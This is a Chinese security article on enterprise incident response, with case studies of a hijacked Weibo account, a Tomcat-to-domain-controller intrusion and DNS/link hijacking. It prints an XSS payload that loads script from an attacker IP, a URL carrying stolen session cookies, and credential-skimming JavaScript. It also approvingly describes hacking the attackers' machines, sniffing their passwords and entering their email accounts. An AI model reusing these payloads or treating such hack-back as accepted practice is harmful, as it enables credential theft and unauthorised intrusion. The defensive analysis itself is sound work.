峰會(huì)上講過的議題，整理成文章，以供大家批評(píng)指正。

對(duì)于企業(yè)應(yīng)急響應(yīng)，我想只要從事安全工作的同學(xué)都有接觸，我也一樣，在甲方乙方工作的這幾年，處理過不少應(yīng)急響應(yīng)的事件，但是每個(gè)人都會(huì)有自己做事的方法，在這里我主要分享一下我對(duì)應(yīng)急響應(yīng)的理解以及對(duì)碰到的一些案例。

0x00 什么時(shí)候做應(yīng)急響應(yīng)?

應(yīng)急響應(yīng)，估計(jì)最近幾年聽到這個(gè)詞更多是因?yàn)楦鞔蠹追焦鹃_始建設(shè)和運(yùn)營(yíng)自己的應(yīng)急響應(yīng)平臺(tái)，也就是 xSRC?？雌饋韺?duì)報(bào)告到這些地方的漏洞進(jìn)行處理就已經(jīng)成為企業(yè)應(yīng)急響應(yīng)的主要工作，但是以我之前在甲方親自參與建設(shè)應(yīng)急響應(yīng)平臺(tái)和去其他企業(yè)應(yīng)急響應(yīng)平臺(tái)提交漏洞的經(jīng)驗(yàn)來看，能真正把平臺(tái)上的漏洞當(dāng)時(shí)應(yīng)急響應(yīng)事件去處理的寥寥無幾，更多的只是：接收->處理這種簡(jiǎn)單重復(fù)的流水線工作。因?yàn)樗麄儠?huì)覺得報(bào)告到這些地方的漏洞它的風(fēng)險(xiǎn)是可控的。

我理解的應(yīng)急響應(yīng)是對(duì)突發(fā)的未知的安全事件進(jìn)行應(yīng)急響應(yīng)處理。這種情況一般都是“被黑”了。“被黑”包括很多種：服務(wù)器被入侵，業(yè)務(wù)出現(xiàn)蠕蟲事件，用戶以及公司員工被釣魚攻擊，業(yè)務(wù)被 DDoS 攻擊，核心業(yè)務(wù)出現(xiàn)DNS、鏈路劫持攻擊等等等等。

0x01 為什么做應(yīng)急響應(yīng)?

我在峰會(huì)上說是被逼的，雖然只是開個(gè)玩笑，但是也能夠反映出做應(yīng)急響應(yīng)是一件苦差事，有的時(shí)候要做到 7*24 小時(shí)響應(yīng)，我覺得是沒人喜歡這么一件苦差事的，但是作為安全人員這是我們的職責(zé)。

那說到底我們?yōu)槭裁醋鰬?yīng)急響應(yīng)呢，我覺得有以下幾個(gè)因素：

保障業(yè)務(wù)
還原攻擊
明確意圖
解決方案
查漏補(bǔ)缺
司法途徑

對(duì)于甲方的企業(yè)來說業(yè)務(wù)永遠(yuǎn)是第一位的，沒有業(yè)務(wù)何談安全，那么我們做應(yīng)急響應(yīng)首先就是要保障業(yè)務(wù)能夠正常運(yùn)行，其次是還原攻擊場(chǎng)景，攻擊者是通過什么途徑進(jìn)行的攻擊，業(yè)務(wù)中存在什么樣的漏洞，他的意圖是什么?竊取數(shù)據(jù)?炫耀技術(shù)?當(dāng)我們了解到前面的之后就需要提出解決方案，修復(fù)漏洞?還是加強(qiáng)訪問控制?增添監(jiān)控手段?等等，我們把當(dāng)前的問題解決掉之后，我們還需要查漏補(bǔ)缺，來解決業(yè)務(wù)中同樣的漏洞?最后就是需不需要司法的介入。

0x02 怎么做應(yīng)急響應(yīng)?

具體怎么做應(yīng)急響應(yīng)，我之前根據(jù)自己做應(yīng)急響應(yīng)的經(jīng)驗(yàn)總結(jié)幾點(diǎn)：

確定攻擊時(shí)間
查找攻擊線索
梳理攻擊流程
實(shí)施解決方案
定位攻擊者

確定攻擊時(shí)間能夠幫助我們縮小應(yīng)急響應(yīng)的范圍，有助于我們提高效率，查找攻擊線索，能夠讓我們知道攻擊者都做了什么事情，梳理攻擊流程則是還原整個(gè)攻擊場(chǎng)景，實(shí)施解決方案就是修復(fù)安全漏洞，切斷攻擊途徑，最后就是定位攻擊人，則是取證。

ps：定位攻擊者，我覺得羅卡定律說的挺好的：凡有接觸，必留痕跡。

0x03 為什么做反滲透?

一方面我們可以把被動(dòng)的局面轉(zhuǎn)變?yōu)橹鲃?dòng)的局面，在這種主動(dòng)的局面下我們能夠了解到攻擊者都對(duì)我們做了什么事情，做到什么程度，他下一步的目標(biāo)會(huì)是什么?最關(guān)鍵的我們能夠知道攻擊者是誰。

那么具體怎么做呢?就要用攻擊者的方法反擊攻擊者。說起來簡(jiǎn)單，做起來可能就會(huì)發(fā)現(xiàn)很難，但是我們可以借助我們自身的優(yōu)勢(shì)，通過業(yè)務(wù)數(shù)據(jù)交叉對(duì)比來對(duì)攻擊者了解更多，甚至可以在攻擊者的后門里面加上攻擊代碼等。#p#

0x04 案例之官微帳號(hào)被盜

這是第一個(gè)案例，是官方微博帳號(hào)被盜的案例。首先看下面兩張圖片： 

 

 

某天我們的一個(gè)官方帳號(hào)突發(fā)連續(xù)發(fā)兩條不正常的微博內(nèi)容，看到第一條的時(shí)候還以為是工作人員小手一抖，test 到手，以為是工作人員的誤操作，但是看到第二條微博的時(shí)候就已經(jīng)能夠判斷帳號(hào)出了問題，具體是什么問題只能通過后面的分析才知道。

但是肯定的是這不是工作人員進(jìn)行的操作，一方面在這種重要帳號(hào)的操作上有一些制度，其次是發(fā)布的內(nèi)容也比較明顯，根據(jù)發(fā)布的時(shí)間通過后臺(tái)系統(tǒng)分析，該帳號(hào)有通過 cookie 在非公司 IP 進(jìn)行過登錄，但是我們的 cookie 是通過 httponly 進(jìn)行保護(hù)的，how?

接下來鎖定那個(gè)時(shí)間段操作過官方微博帳號(hào)同事的工作電腦，在其使用的火狐瀏覽器中發(fā)現(xiàn)有下面連續(xù)的幾條訪問記錄：

==================================================  
URL               : http://t.cn/zW*bUQ  
Last Visit Date   : 2012-7-16 19:22:27 
==================================================  
 
==================================================  
URL               : http://50.116.13.242/index.php  
Last Visit Date   : 2012-7-16 19:22:28  
Referrer          : http://t.cn/zW*bUQ 
==================================================  
 
==================================================  
URL               : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})  
Last Visit Date   : 2012-7-16 19:22:28  
Referrer          : http://50.116.13.242/index.php  
Title             : player.swf (application/x-shockwave-flash 對(duì)象)  
==================================================  
 
==================================================  
URL               : http://50.116.13.242/e.php?opener=0&cookie=ULV%3D1342421444188%3A342%3A12%3A1%3A306588567000.3021.1342421444076%3A1342141514702%3B%20__utma%3D182865017.844076418.1336462885.1341536058.1341543017.15%3B%20__utmz%3D182865017.1341473198.13.8.utmcsr%3Dweibo.com%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/breakingnews%3B%20vjuids%3Ddae3c1e13.1369ca9b037.0.1a9eb5f46e6ac8%3B%20vjlast%3D1334068228.1341096989.11%3B%20UOR%3D%2C%2C%3B%20un%3D*@sina.com%3B%20wvr%3D3.6%3B%20_s_tentry%3Dnews.sina.com.cn%3B%20Apache%3D306588567000.3021.1342421444076%3B%20SINAGLOBAL%3D306588567000.3021.1342421444076%3B%20SUS%3DSID-1618051664-1342421545-XD-z8hcn-efefbc9f4464bf215caf1d6b0da488bf%3B%20SUE%3Des%253D5937b4f4509871fc45195767ea7abe37%2526ev%253Dv1%2526es2%253Da42f0190f7b1f5137f761f625bbe0e81%2526rs0%253DpnLlydVz7IsdBcHbRCS8Tdb1KmHl7c%25252F758lHMKQRftFZBm9EDKoFVF7jexRKPF8CpY3rjGOora0pZ%25252FyDJSaDWJxRQn020MpsJxXhf5NdP2h3jfo2V%25252FoQgA0olYEWGJNQIDFZDfkndhSSXCp%25252BldHRW%25252BkEMwhvhY4p3xR0Ki5ja94%25253D%2  
Last Visit Date   : 2012-7-16 19:22:31  
Referrer          : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})  
================================================== 

對(duì)上面的訪問記錄我想我不需要做太多的解釋。在官方微博帳號(hào)的私信里面有 http://t.cn/zW*bUQ 的私信記錄。

到這里就已經(jīng)能夠還原整個(gè)攻擊場(chǎng)景了

工作人員收到一條私信，并且打開了

私信鏈接是一個(gè) xss 漏洞的鏈接

攻擊代碼利用另外一個(gè)業(yè)務(wù)的 apache httponly cookie 泄露漏洞竊取到 cookie

事后我們修復(fù)了這次攻擊中的漏洞，同時(shí)修復(fù)了業(yè)務(wù)中同類的安全漏洞，同時(shí)加強(qiáng)了員工安全意識(shí)，并且增加了相應(yīng)的帳號(hào)安全策略。

最后我們通過后臺(tái)的 IP 和郵箱等數(shù)據(jù)定位到了攻擊者，在整個(gè)攻擊中也并沒有惡意，他也把相關(guān)的漏洞和攻擊過程提交到烏云漏洞報(bào)告平臺(tái)，大家可以去主站找找這個(gè)漏洞，我這里就不貼相關(guān)鏈接了。#p#

0x05 案例之 500 錯(cuò)誤日志引發(fā)的血案

首先看下圖 

 

一天 QA 發(fā)來郵件詢問一個(gè)比較異常的事情，某測(cè)試業(yè)務(wù)出現(xiàn)多條狀態(tài)碼為 500 的日志，QA 懷疑是有黑客攻擊，我們開始介入進(jìn)行分析。

500 錯(cuò)誤代表文件真實(shí)存在過并且被人訪問執(zhí)行過，但是現(xiàn)在文件已經(jīng)被刪除了，通過文件名可以判斷并非是業(yè)務(wù)需要的文件，被黑的可能性比較大，然后找來 TOMCAT 和前端 Nginx 日志查看的確被上傳了 webshell。 

 

根據(jù)攻擊者 IP 和時(shí)間等線索通過分析 nginx 和 tomcat 的日志可以確定攻擊者是通過 tomcat 的管理后臺(tái)上傳的 webshell，并且通過 webshell 做了許多操作 

 

但是tomcat 帳號(hào)密碼并非弱密碼，how?我們接下來對(duì)全網(wǎng)的 tomcat 進(jìn)行了排查，發(fā)現(xiàn)在其中一臺(tái)內(nèi)網(wǎng)服務(wù)器存在 tomcat 弱口令，并且?guī)ぬ?hào)配置文件中含有攻擊者使用的帳號(hào)和密碼，只是這臺(tái)服務(wù)器較早之前下線了公網(wǎng) IP，只保留內(nèi)網(wǎng) IP，并且通過分析這臺(tái)服務(wù)器的日志，能夠判斷攻擊者之前就已經(jīng)通過弱口令拿到了服務(wù)器權(quán)限，并且收集了服務(wù)器上的用戶名和密碼等信息。

我們想看看攻擊者到底想干什么，對(duì)之前收集的攻擊者 IP 進(jìn)行反滲透，用“黑客”的方法拿到香港，廊坊多臺(tái)攻擊者肉雞權(quán)限，肉雞上發(fā)現(xiàn)了大量黑客工具和掃描日志，在其中一臺(tái)肉雞上發(fā)現(xiàn)我們內(nèi)網(wǎng)仍有服務(wù)器被控制。

下面兩張圖片可以看到攻擊者通過 lcx 中轉(zhuǎn)了內(nèi)網(wǎng)的反彈 shell 

 

 

那么到目前為止我們做了哪些事情呢?

清理后門

清理全網(wǎng) tomcat

梳理全網(wǎng) web 目錄文件

修改業(yè)務(wù)相關(guān)帳號(hào)密碼

修改業(yè)務(wù)關(guān)鍵代碼

加強(qiáng) IDC 出口策略

部署 snort

做了好多事情?可是事實(shí)上呢?事情并沒有我們想的那么簡(jiǎn)單。

之前的安全事件剛過不久，IT 人員反饋域控服務(wù)器異常，自動(dòng)重啟，非常異常。登錄域控進(jìn)行排查原因，發(fā)現(xiàn)域控被植入了 gh0st 后門。 

 

域控被控制，那域控下面的服務(wù)器的安全性就毫無保障，繼續(xù)對(duì)辦公網(wǎng)所有的 windows 服務(wù)器排查，發(fā)現(xiàn)多臺(tái) Windows 服務(wù)器被植入后門，攻擊的方法是通過域控管理員帳號(hào)密碼利用 at 方式添加計(jì)劃任務(wù)。

能夠知道攻擊者是如何入侵的域控服務(wù)器比較關(guān)鍵，對(duì)域控服務(wù)器的日志進(jìn)行分析發(fā)現(xiàn)下面可疑的日志：

2011-11-10,14:03:47,Security,審核成功,登錄/注銷 ,540,*\*,PDC,”成功的網(wǎng)絡(luò)登錄:
用戶名:    *.ad
域:      *
登錄 ID:      (0x0,0x1114E11)
登錄類型:   3
登錄過程:   NtLmSsp 
身份驗(yàn)證數(shù)據(jù)包:    NTLM
工作站名:   CC-TEST-V2
登錄 GUID:    -
調(diào)用方用戶名: -
調(diào)用方域:   -
調(diào)用方登錄 ID:   -
調(diào)用方進(jìn)程 ID: -
傳遞服務(wù): -
源網(wǎng)絡(luò)地址:  192.168.100.81
源端口:    0
2011-11-10,3:13:38,Security,審核失敗,帳戶登錄 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試  登錄的用戶:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登錄帳戶:   QM-*$
源工作站:   CC-TEST-V2
錯(cuò)誤代碼:   0xC000006A
"
2011-11-10,3:13:38,Security,審核失敗,帳戶登錄 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試  登錄的用戶:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登錄帳戶:   QM-*$
源工作站:   CC-TEST-V2
錯(cuò)誤代碼:   0xC000006A

結(jié)合之前的信息能夠鎖定 192.168.100.81 是攻擊源，遂對(duì)這臺(tái)服務(wù)器進(jìn)行確認(rèn)，結(jié)果有點(diǎn)令人吃驚：

這是一臺(tái)虛擬機(jī)，運(yùn)行在一臺(tái)普通的 PC 機(jī)上，這臺(tái) PC 機(jī)就放在業(yè)務(wù)部門同事的腳底下，這臺(tái)虛擬機(jī)本身啟用了 3389，存在弱口令，我們之前在對(duì)內(nèi)網(wǎng)安全檢查時(shí)，這臺(tái)虛擬機(jī)處于關(guān)機(jī)狀態(tài)。由于這臺(tái)虛擬機(jī)上面跑的有測(cè)試業(yè)務(wù)，域控管理員曾經(jīng)登錄過。

綜合我們之前得到的信息可以確定這臺(tái)虛擬機(jī)是攻擊者入侵我們辦公網(wǎng)的第一臺(tái)服務(wù)器，通過把這個(gè)虛擬機(jī)作為跳板攻擊辦公網(wǎng)其他服務(wù)器，至于這臺(tái)虛擬機(jī)是如何被入侵的，我們后面也確定是因?yàn)樯洗蔚墓羰录?，攻擊者通過 IDC 進(jìn)入到的辦公網(wǎng)。

我們又做了什么?

排查所有 windows 服務(wù)器

對(duì)之前確定被入侵的服務(wù)器重裝，包括域控

snort 上加了 gh0st 的特征

snort 加上 gh0st 的特征后不久我們就發(fā)現(xiàn)我們辦公網(wǎng)還有服務(wù)器被控制 

 

對(duì)這臺(tái)服務(wù)器進(jìn)行清理后，我們?nèi)匀粵]有放棄對(duì)攻擊者的反滲透，這次我們發(fā)現(xiàn)攻擊者還有美國(guó)的 IP，對(duì)其滲透，最終通過 c 斷進(jìn)行 cain 嗅探到 3389 的密碼。

登錄到這臺(tái)美國(guó) IP 的服務(wù)器后，發(fā)現(xiàn)上面運(yùn)行著 gh0st 的控制端，我們內(nèi)網(wǎng)仍然有一臺(tái)服務(wù)器處于上線狀態(tài)。 

 

其實(shí)到這里這次事件就能告一段落了，關(guān)于攻擊者我們?cè)谶@臺(tái)美國(guó)的服務(wù)器上發(fā)現(xiàn)了攻擊者的多個(gè) QQ 和密碼，登錄郵箱后找到了攻擊者的簡(jiǎn)歷等私人信息，還有就是我們之前也獲取到攻擊者在國(guó)內(nèi)某安全論壇帳號(hào)。其實(shí)到這里我們能夠確定攻擊者是誰了。 

 

 #p#

0x06 案例之永無止境的劫持

對(duì)于劫持我想大家都不陌生，我們?cè)谏钪斜容^常見到的就是運(yùn)營(yíng)商在頁面中插入廣告等代碼，這種就是一種劫持攻擊。

回到案例本身，我們的一個(gè)業(yè)務(wù)先后出現(xiàn)多次多種手段的劫持攻擊，一次是 dns 劫持，把業(yè)務(wù)的域名劫持到 61.* 這個(gè) ip 上，另外一次是鏈路劫持，替換服務(wù)器返回給用戶的 http 響應(yīng)內(nèi)容，這兩次的目的都一樣就是在登錄口添加 js 代碼，用于竊取用戶的用戶名和明文密碼。我們另外一個(gè)業(yè)務(wù)也遭受鏈路劫持，直接替換客戶投放的廣告代碼，給業(yè)務(wù)造成很大的經(jīng)濟(jì)損失。

下面兩個(gè)圖是我們業(yè)務(wù)監(jiān)控系統(tǒng)和基調(diào)的截圖，上面的圖可以很明顯看到在 9:30 用戶登錄成功數(shù)明顯下降，持續(xù)不到一個(gè)小時(shí)，下圖是全國(guó)部分地區(qū)基調(diào)的數(shù)據(jù)，可以看到域名被明顯劫持到 61 這個(gè) ip，這是一次典型的 DNS 攻擊。 

  

 

頁面中被插入的攻擊核心代碼

//獲取用戶名和密碼  
function ffCheck() {  
    try {  
        try {  
            var u = null != f ? f.idInput.value : document.getElementById("idInput").value;  
        } catch (e) {  
            var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");  
        }  
        var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;  
        if (u.indexOf("@") == -1) u += "@xxx.com";  
        try {  
            if (u.indexOf("@") == -1) uu = u + getdomain();  
        } catch (e) {}  
        sendurl("/abc", u, p, "coremail");  
    } catch (e) {}  
    return fOnSubmit();  
}  
   
通過 ajax 發(fā)送出去  
function sendurl(uri, u, p, i) {  
xmlHttp = GetXmlHttpObject();  
if (xmlHttp == null) {  
    return;  
}  
param = "user=" + u + "&pass=" + p + "&icp=" + i;  
xmlHttp.onreadystatechange = stateChanged;  
try {  
    xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);  
} catch (e) {}  
xmlHttp.setRequestHeader("If-Modified-Since", "0");  
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
xmlHttp.send(param);  
} 

接下來看下面兩張圖片 

  

這是一次典型的鏈路劫持攻擊，通過 ttl 就能夠判斷，攻擊的結(jié)果和前面提到的 dns 劫持攻擊類似，插入惡意 js 代碼來獲取用戶的用戶名和密碼。

對(duì)于劫持攻擊的處理過程，首先是判斷是什么攻擊，對(duì)于鏈路劫持目前的鏈路劫持好像大部分都是旁路的攻擊方式，就可以通過 ttl 來定位，默認(rèn)的 ttl 值很好判斷，如果可以修改的 ttl 值，可以通過遞增或者遞減 ttl 的方式來判斷，dns 劫持就是判斷攻擊方式是什么，哪些 dns 受影響，劫持的 ip 是什么運(yùn)營(yíng)商，劫持后做了什么事情。

其次是解決攻擊，一般根據(jù)劫持的情況去聯(lián)系運(yùn)營(yíng)商，聯(lián)系有關(guān)部門等，但是然并卵，有的功能投訴很有效，比如劫持廣告代碼，有的攻擊則沒有任何作用，比如注入 js 代碼獲取用戶名和密碼。

其實(shí)我們能做的畢竟有限，完善監(jiān)控，當(dāng)劫持發(fā)生的時(shí)候能夠第一時(shí)間獲知，甚至提醒用戶當(dāng)前環(huán)境有劫持的風(fēng)險(xiǎn)，對(duì)部分業(yè)務(wù)使用 https，但是我覺得都不能根治這些問題。怎么才能解決劫持問題，我沒有好的解決方案，在這里我把這類案例分享出來是希望能夠和各位進(jìn)一步探討。

0x07 總結(jié)

總結(jié)這里我就不打算寫太多，我覺得有幾個(gè)大的方向作為指導(dǎo)：

從業(yè)務(wù)角度，保障業(yè)務(wù)肯定是應(yīng)急響應(yīng)的前提;

從對(duì)抗角度，知己知彼百戰(zhàn)不殆;

從技術(shù)角度，只有更多的了解攻擊才能更好的做到防御;